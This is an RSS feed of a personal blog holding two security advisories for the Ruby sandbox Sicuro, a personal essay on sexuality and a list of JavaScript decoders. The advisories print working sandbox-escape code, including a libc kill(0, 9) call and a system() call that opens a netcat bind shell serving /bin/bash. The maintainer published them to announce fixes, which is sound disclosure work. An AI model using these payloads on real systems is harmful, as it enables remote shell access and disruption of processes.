<?xml version="1.0"?>
<rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom">
  <channel>
    <title>duckinator.net</title>
    <link>https://duckinator.net/</link>
    <atom:link href="https://duckinator.net/rss.xml" rel="self" type="application/rss+xml" />
    <description>duckinator's blog</description>
    <language>en-us</language>
    <pubDate>Sun, 19 May 2013 21:01:29 +0000</pubDate>
    <lastBuildDate>Sun, 19 May 2013 21:01:29 +0000</lastBuildDate>

    
      
    <item>
      <title>Untrusted Code Execution Bug in Sicuro (Round 2)</title>
      <link>https://duckinator.net/blog/sicuro-untrusted-code-execution-2/</link>
      <pubDate>Tue, 19 Mar 2013 00:00:00 +0000</pubDate>
      <author>Nick Markwell</author>
      <guid>https://duckinator.net/blog/sicuro-untrusted-code-execution-2</guid>
      <description>&lt;div class=&quot;notice&quot;&gt;
&lt;p&gt;This has been fixed as of &lt;a href=&quot;https://github.com/duckinator/sicuro/tree/v0.6.0&quot;&gt;Sicuro v0.6.0&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is a &lt;em&gt;required update&lt;/em&gt;. There should be no loss in functionality.&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;http://github.com/tsion&quot;&gt;Scott Olson&lt;/a&gt; found a major security hole in Sicuro, 8 months (almost to the day) after &lt;a href=&quot;/sicuro-untrusted-code-execution&quot;&gt;the one Jens Nockert found&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Scott demonstrated that you could use the &lt;code&gt;$stdin&lt;/code&gt; variable to get a reference to the &lt;code&gt;IO&lt;/code&gt; class. This provided undetered access to the filesystem and shell.&lt;/p&gt;

&lt;p&gt;The following is the code Scott used:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sysopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;hack&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;you dun goofed&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;The problem was simply that since &lt;code&gt;$stdin&lt;/code&gt; wasn't worth using, I had forgotten to change it to a &lt;code&gt;StringIO&lt;/code&gt; instance. However, when looking into it, I found that &lt;code&gt;STDOUT&lt;/code&gt;, &lt;code&gt;STDERR&lt;/code&gt;, and &lt;code&gt;STDIN&lt;/code&gt; were vulnerable to the same issue. This led to a &lt;a href=&quot;https://github.com/duckinator/sicuro/commit/da05a59ef975525a2ce043f5dd89922992183716&quot;&gt;rather verbose change&lt;/a&gt; that fixed it by placing any references to IO out of scope of the untrusted code.&lt;/p&gt;

&lt;p&gt;I highly recommend that everyone upgrade immediately. This is a major security hole, and allows access to all of the &lt;a href=&quot;http://ruby-doc.org/core-1.9.2/IO.html&quot;&gt;IO class&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
      
    
      
    <item>
      <title>Sexuality</title>
      <link>https://duckinator.net/blog/sexuality/</link>
      <pubDate>Tue, 12 Feb 2013 00:00:00 +0000</pubDate>
      <author>Nick Markwell</author>
      <guid>https://duckinator.net/blog/sexuality</guid>
      <description>&lt;p&gt;When it comes to sexuality, I have a somewhat unique viewpoint. When I was younger, I was outright homophobic. The idea of homosexuality scared me, because I did not understand it. I never &lt;em&gt;tried&lt;/em&gt; to understand it. That's not something I'm particularly proud of, but I've got to own up to it. As I learned more about various sexual identities and gender identities, I came to be far more accepting. That homophobic thought process, however, was drilled in rather deep. It goes against everything I stand for, but it remains. I still struggle with it quite often.&lt;/p&gt;

&lt;p&gt;Then came highschool and a few years following it. I questioned my sexuality for over half a decade, but I had built up a strong defense of &quot;I assure you, I am straight!&quot; to protect myself from the bullying. It was easier to assume I was straight and ignore the questions than to fight with both people &lt;em&gt;and&lt;/em&gt; my own brain in an attempt to understand my feelings.&lt;/p&gt;

&lt;p&gt;Then came 2012. I had been out of highschool for over two years, and was going through a rather rough time in my life. That's when I came to the realization I had a crush on a guy. That emotional shield fell quick, and damn did it leave a mess.&lt;/p&gt;

&lt;p&gt;The term I've found that comes closest to describing what I am is &quot;pansexual.&quot; &lt;a href=&quot;http://en.wiktionary.org/wiki/pansexual#Adjective&quot;&gt;Wiktionary&lt;/a&gt; sums it up best:&lt;/p&gt;

&lt;blockquote&gt;Sexually attracted or open to all people regardless of gender, gender identity, or sexual orientation.&lt;/blockquote&gt;


&lt;p&gt;Despite this, my brain was &amp;mdash; and to some extent still is &amp;mdash; a disturbing mix of homophobic thoughts and finding myself attracted to both men and women, and some who identify as neither. The homophobic thoughts are promptly shot down because that's not who I want to be, but it always hurts when they come up. I often wake up because such horrid thoughts as &quot;fuck you, faggot&quot; get into my dreams &amp;mdash; and that's referring to &lt;em&gt;myself&lt;/em&gt;. Damn does that hurt. It cuts right through any barriers I have against other people. I'd be lying if I said my thoughts of that sort have never made me cry.&lt;/p&gt;

&lt;h2&gt;A strange view of the world&lt;/h2&gt;

&lt;p&gt;As terrible as this conflict within my own mind may be, it gives me an interesting vantage point for the behavior I've seen from both LGBT people and activists, as well as those who oppose them. I can understand both sides, because I have &lt;em&gt;been on&lt;/em&gt; both sides.&lt;/p&gt;

&lt;p&gt;Below I'll try my best to explain how things look from the views I have.&lt;/p&gt;

&lt;h3&gt;My view as an LGBT person&lt;/h3&gt;

&lt;p&gt;My gut reaction when I see a homophobic person is to assume they have no logic behind it. However, when I think about it, I can remember the logic I used. It's scary logic, but it's there. The &quot;if you'd just think, you'd realize I'm right!&quot; approach won't work on people of this sort. Ask them why they dislike you. Open a dialog with them, and explore the different viewpoints. They are &lt;em&gt;not&lt;/em&gt; inherently evil. In my case, it was entirely due to lack of knowledge. It took somebody sitting down with me, treating me as a friend, and talking to me about their sexuality before I began to understand.&lt;/p&gt;

&lt;h3&gt;My view as a fear-driven homophobic person&lt;/h3&gt;

&lt;p&gt;If you don't understand something at all, the gut reaction tends to be to fear it. Some people hide from their fears, and others lash out at them. From what I have seen, many who dislike LGBT people due to fear often need no more than to have it explained to them without any assumptions on their character. They don't understand that it is not a choice. They don't understand that LGBT people can truly be happy. They don't understand because they &lt;em&gt;have never been told&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I know very well that many people are not that way, but I am living proof that some &lt;em&gt;are&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;I'm really not sure how I could close this. It's a bizarre thing, and it scares the hell out of me. At one point I was the person I hate. Twice. It's a painful thing to sort out. I guess all I can really say is thank you everyone who has tried to help me out. It is greatly appreciated.&lt;/p&gt;
</description>
    </item>
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    <item>
      <title>Untrusted Code Execution Bug in Sicuro</title>
      <link>https://duckinator.net/blog/sicuro-untrusted-code-execution/</link>
      <pubDate>Thu, 19 Jul 2012 00:00:00 +0000</pubDate>
      <author>Nick Markwell</author>
      <guid>https://duckinator.net/blog/sicuro-untrusted-code-execution</guid>
      <description>&lt;div class=&quot;update&quot;&gt;
&lt;p&gt;This has been fixed as of &lt;a href=&quot;https://github.com/duckinator/sicuro/tree/v0.4.0&quot;&gt;Sicuro v0.4.0&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately, I had to disable &lt;code&gt;require&lt;/code&gt; and &lt;code&gt;load&lt;/code&gt; almost entirely. The exception is that &lt;code&gt;require&lt;/code&gt; will return &lt;code&gt;false&lt;/code&gt; if a file was already included.&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;http://twitter.com/jensnockert&quot;&gt;Jens Nockert&lt;/a&gt; has exposed a rather major security hole in Sicuro.&lt;/p&gt;

&lt;p&gt;Under basically any circumstances, Sicuro can be used to execute untrusted code. The demonstrated technique used by Jens was to terminate the process group that &lt;code&gt;Sicuro#eval&lt;/code&gt; was called from. By modifying one of the parameters, it would instead terminate all processes that can be terminated by the user who ran the initial &lt;code&gt;Sicuro#eval&lt;/code&gt; call. I have demonstrated the ability to use it to access a remote shell, but am unsure if it could be used for privilege escalation.&lt;/p&gt;

&lt;h1&gt;The main problem&lt;/h1&gt;

&lt;p&gt;It appears that attempts at making Sicuro more efficient have actually left it wide open to abuse. There was an attempt to make it lazily load trusted components, and that seems to have opened up a bug letting you &lt;code&gt;require&lt;/code&gt; anything in the stdlib, including DL. DL is used for loading shared objects and calling functions in them.&lt;/p&gt;

&lt;p&gt;Please note that it can &lt;code&gt;require&lt;/code&gt;, &lt;em&gt;any&lt;/em&gt; code in the ruby stdlib, and this is just &lt;em&gt;a single example.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The following is the relevant part of the code for lazily loading trusted components. You can view it in context in &lt;a href=&quot;https://github.com/duckinator/sicuro/blob/761e955fbbba07638d69bc62159199cdf0716a7d/lib/sicuro/base.rb#L254-256&quot;&gt;lib/sicuro/base.rb&lt;/a&gt;, lines 254 through 256.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# Without Gem we won&amp;#39;t require unresolved gems, therefore we restore the original require.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# This allows us to lazy-require other trusted components from the same $LOAD_PATH.&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Kernel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module_eval&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;alias&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gem_original_require&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;Following is a tidied up version of the code that exposed the bug.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dl&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dl/import&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Libc&lt;/span&gt;
  &lt;span class=&quot;kp&quot;&gt;extend&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;DL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Importer&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dlload&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/lib/libc.so.6&amp;#39;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;int kill(int, int)&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;Libc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kill&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;Calling &lt;code&gt;Libc.kill(-1, 9)&lt;/code&gt; will terminate &lt;em&gt;all processes the user who called &lt;code&gt;Sicuro.eval&lt;/code&gt; can terminate.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here is similar code that will allow you to execute arbitrary shell code:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dl&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dl/import&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Libc&lt;/span&gt;
  &lt;span class=&quot;kp&quot;&gt;extend&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;DL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Importer&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;dlload&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/lib/libc.so.6&amp;#39;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;int system(const char*)&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;Libc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;nc -lp 1337 -e /bin/bash &amp;amp;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;Congratulations, you now can run &lt;code&gt;netcat $IP 1337&lt;/code&gt; to connect. The IP could easily be gained through similar means.&lt;/p&gt;

&lt;p&gt;There's a video at the bottom, but it's a bit difficult to read at that scale, so you can &lt;a href=&quot;/assets/sicuro-untrusted-code-execution-bug.ogv&quot;&gt;go directly to the video&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It may also be possible to escalate privileges using this method.&lt;/p&gt;

&lt;h1&gt;The small problem&lt;/h1&gt;

&lt;p&gt;There's always something hiding, right? That little thing you find when hunting another bug. This one happened to be that &lt;code&gt;GC&lt;/code&gt;, &lt;code&gt;Signal&lt;/code&gt;, and &lt;code&gt;ObjectSpace&lt;/code&gt; were whitelisted. This isn't exactly good.&lt;/p&gt;

&lt;p&gt;At the very least, &lt;code&gt;GC.disable&lt;/code&gt; could make it use too much memory, causing instability, and &lt;code&gt;Signal.trap&lt;/code&gt; could be used to handle signals used to terminate the process &amp;ndash; and ignore them. I'm not entirely sure what &lt;code&gt;ObjectSpace&lt;/code&gt; can be used for, but I do not know what it does, so I do not like it being whitelisted. I've also been told &lt;code&gt;ObjectSpace&lt;/code&gt; is &quot;dangerous.&quot; I may look into this later.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GC&lt;/code&gt;, &lt;code&gt;Signal&lt;/code&gt;, and &lt;code&gt;ObjectSpace&lt;/code&gt; will not be whitelisted as of the next release.&lt;/p&gt;

&lt;h1&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;While removing things from the whitelist was trivial, fixing the code execution problem is proving immensely difficult. I am not sure I will be able to fix it and retain all current functionality.&lt;/p&gt;

&lt;p&gt;I highly recommend that, once the next version is released, everyone upgrade immediately. This is a major security hole, and allows execution of any untrusted code that can be done through a shared library. This includes calls to &lt;code&gt;system()&lt;/code&gt; and related functions, as mentioned above.&lt;/p&gt;

&lt;p&gt;&lt;video style=&quot;width: 100%; max-width: 798px;&quot; controls=&quot;controls&quot; src=&quot;/assets/sicuro-untrusted-code-execution-bug.ogv&quot;&gt;&lt;/video&gt;&lt;/p&gt;
</description>
    </item>
      
    
      
    <item>
      <title>Javascript magic up the wazoo!</title>
      <link>https://duckinator.net/blog/javascript-magic-up-the-wazoo/</link>
      <pubDate>Tue, 08 May 2012 00:00:00 +0000</pubDate>
      <author>Nick Markwell</author>
      <guid>https://duckinator.net/blog/javascript-magic-up-the-wazoo</guid>
      <description>&lt;h2&gt;List, and descriptions, of various decoders&lt;/h2&gt;

&lt;p&gt;(WIP)&lt;/p&gt;

&lt;p&gt;This is just a quick list of various JavaScript decoders, VMs, and the like.&lt;/p&gt;

&lt;h3&gt;Image decoders&lt;/h3&gt;

&lt;p&gt;All of these render using Canvas.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mozilla/pdf.js&quot;&gt;pdf.js&lt;/a&gt; - &lt;a href=&quot;http://mozilla.github.com/pdf.js/web/viewer.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/devongovett/png.js&quot;&gt;png.js&lt;/a&gt; - &lt;a href=&quot;http://devongovett.github.com/png.js/&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/notmasteryet/jpgjs&quot;&gt;jpgjs&lt;/a&gt; - &lt;a href=&quot;http://notmasteryet.github.com/jpgjs/example.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/shachaf/jsgif&quot;&gt;jsgif&lt;/a&gt; - &lt;a href=&quot;http://slbkbs.org/jsgif/&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/devongovett/bmp.js&quot;&gt;bmp.js&lt;/a&gt; - &lt;a href=&quot;http://devongovett.github.com/bmp.js/&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/antimatter15/weppy&quot;&gt;weppy (WebP)&lt;/a&gt; - &lt;a href=&quot;http://antimatter15.github.com/weppy/demo.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/canvg&quot;&gt;canvg (SVG)&lt;/a&gt; - &lt;a href=&quot;http://canvg.googlecode.com/svn/trunk/examples/index.htm&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/meltingice/psd.js&quot;&gt;psd.js&lt;/a&gt; - &lt;a href=&quot;http://meltingice.github.com/psd.js&quot;&gt;Demo&lt;/a&gt; (Demo requires drag-and-drop support)&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;Video decoders&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mbebenita/Broadway&quot;&gt;Broadway (H.264)&lt;/a&gt; - &lt;a href=&quot;http://mbebenita.github.com/Broadway/treeDemo.html&quot;&gt;Demo&lt;/a&gt; (Uses WebGL?)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bemasc/Broadway/tree/master/vp8&quot;&gt;Route9.js (VP8/WebM)&lt;/a&gt; - &lt;a href=&quot;http://people.xiph.org/~bens/route9/route9.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;Plugin replacements&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mozilla/shumway&quot;&gt;shumway (Flash)&lt;/a&gt; - No demo.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/notmasteryet/jvm-js&quot;&gt;jvm-js&lt;/a&gt; - No demo.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nurv/BicaVM&quot;&gt;BicaVM (JVM)&lt;/a&gt; - No demo.&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;Browser features&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://html2canvas.hertzen.com&quot;&gt;html2canvas&lt;/a&gt; - &lt;a href=&quot;http://html2canvas.hertzen.com/screenshots.html&quot;&gt;Demo&lt;/a&gt;. &lt;a href=&quot;http://html2canvas.hertzen.com/examples.html&quot;&gt;Examples/tests&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bgrins/DrawWindow&quot;&gt;DrawWindow&lt;/a&gt; - Renders HTML to Canvas. &lt;a href=&quot;http://bgrins.github.com/DrawWindow/&quot;&gt;Demos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/andreasgal/dom.js&quot;&gt;dom.js&lt;/a&gt; - Pure JavaScript implementation of the DOM. No demo.&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;Audio&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/pitch.js&quot;&gt;pitch.js&lt;/a&gt; - pitch detection library.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/aurora.js&quot;&gt;Aurora.js&lt;/a&gt; - this is not a decoder, but rather a framework for making them.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Codecs using Aurora.js:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/aac.js&quot;&gt;aac.js&lt;/a&gt; - No demo yet.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/alac.js&quot;&gt;alac.js&lt;/a&gt; - &lt;a href=&quot;http://labs.official.fm/codecs/alac&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/flac.js&quot;&gt;flac.js&lt;/a&gt; - &lt;a href=&quot;http://labs.official.fm/codecs/flac&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/audiocogs/jsmad&quot;&gt;jsmad (MP3)&lt;/a&gt; - See mp3.js.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/devongovett/mp3.js&quot;&gt;mp3.js&lt;/a&gt; - Fork of jsmad modified to use Aurora.js. &lt;a href=&quot;http://labs.official.fm/codecs/mp3&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jsantell/ogg.js&quot;&gt;ogg/vorbis&lt;/a&gt; - Demo: the &lt;a href=&quot;https://github.com/jsantell/ogg.js#readme&quot;&gt;README&lt;/a&gt; explains how to run a demo locally.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Codecs not using Aurora.js:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jussi-kalliokoski/pcmdata.js&quot;&gt;pcmdata.js (.wav)&lt;/a&gt; - No demo.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cosinusoidally/mp2dec.js&quot;&gt;mp2dec.js&lt;/a&gt; - &lt;a href=&quot;http://cosinusoidally.github.com/mp2dec.js&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ogg/vorbis - Alternative, and older, ogg/vorbis implementation. This may not be FOSS. &lt;a href=&quot;http://libwebpjs.hohenlimburg.org/vp8/ogg-vorbis-javascript-decoder/&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;3D and CAD&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yeuchi/OFFDecoder&quot;&gt;OFFDecoder&lt;/a&gt; - &lt;a href=&quot;http://www.ctyeung.com/JQuery/DecodeOFF/TestOFF.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yeuchi/STLDecoder&quot;&gt;STLDecoder&lt;/a&gt; - &lt;a href=&quot;http://www.ctyeung.com/JQuery/DecodeSTL/TestSTL.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yeuchi/OBJDecoder&quot;&gt;OBJDecoder&lt;/a&gt; - &lt;a href=&quot;http://www.ctyeung.com/JQuery/DecodeOBJ/TestOBJ.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yeuchi/PLYDecoder&quot;&gt;PLYDecoder&lt;/a&gt; - &lt;a href=&quot;http://www.ctyeung.com/JQuery/DecodePLY/TestPLY.html&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
      
    

  </channel>
</rss>
